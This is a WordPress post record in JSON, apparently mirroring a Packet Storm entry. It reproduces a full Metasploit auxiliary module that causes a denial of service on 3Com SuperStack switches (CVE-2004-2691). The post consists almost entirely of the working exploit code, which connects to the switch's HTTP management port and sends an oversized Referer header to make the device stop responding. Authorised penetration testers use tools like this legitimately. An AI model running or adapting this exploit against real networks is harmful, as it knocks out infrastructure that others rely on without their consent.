{"id":59282,"date":"2024-08-31T21:20:06","date_gmt":"2024-08-31T18:20:06","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180513\/3com_superstack_switch.rb.txt"},"modified":"2024-08-31T21:20:06","modified_gmt":"2024-08-31T18:20:06","slug":"3com-superstack-switch-denial-of-service","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/3com-superstack-switch-denial-of-service\/","title":{"rendered":"3Com SuperStack Switch Denial of Service"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::Tcp<br \/>include Msf::Auxiliary::Dos<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;3Com SuperStack Switch Denial of Service&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module causes a temporary denial of service condition<br \/>against 3Com SuperStack switches. By sending excessive data<br \/>to the HTTP Management interface, the switch stops responding<br \/>temporarily. The device does not reset. Tested successfully<br \/>against a 3300SM firmware v2.66. Reported to affect versions<br \/>prior to v2.72.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [ &#8216;aushack&#8217; ],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/># aushack &#8211; I am not sure if these are correct, but the closest match!<br \/>[ &#8216;OSVDB&#8217;, &#8216;7246&#8217; ],<br \/>[ &#8216;CVE&#8217;, &#8216;2004-2691&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/support.3com.com\/infodeli\/tools\/switches\/dna1695-0aaa17.pdf&#8217; ],<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2004-06-24&#8217;))<\/p>\n<p>register_options( [ Opt::RPORT(80) ])<br \/>end<\/p>\n<p>def run<br \/>begin<br \/>connect<br \/>print_status(&#8220;Sending DoS packet to #{rhost}:#{rport}&#8221;)<\/p>\n<p>sploit = &#8220;GET \/ HTTP\/1.0\\r\\n&#8221;<br \/>sploit &lt;&lt; &#8220;Referer: &#8221; + Rex::Text.rand_text_alpha(1) * 128000<\/p>\n<p>sock.put(sploit +&#8221;\\r\\n\\r\\n&#8221;)<br \/>disconnect<br \/>print_error(&#8220;DoS packet unsuccessful&#8221;)<br \/>rescue ::Rex::ConnectionRefused<br \/>print_error(&#8220;Unable to connect to #{rhost}:#{rport}&#8221;)<br \/>rescue ::Errno::ECONNRESET<br \/>print_good(&#8220;DoS packet successful. #{rhost} not responding.&#8221;)<br \/>end<\/p>\n<p>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::Tcpinclude Msf::Auxiliary::Dos def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;3Com SuperStack Switch Denial of Service&#8217;,&#8216;Description&#8217; =&gt; %q{This module causes a temporary denial of service conditionagainst 3Com SuperStack switches. By sending excessive datato the HTTP Management interface, the switch stops respondingtemporarily. The device does not &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59282","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59282","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59282"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59282\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59282"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59282"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59282"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}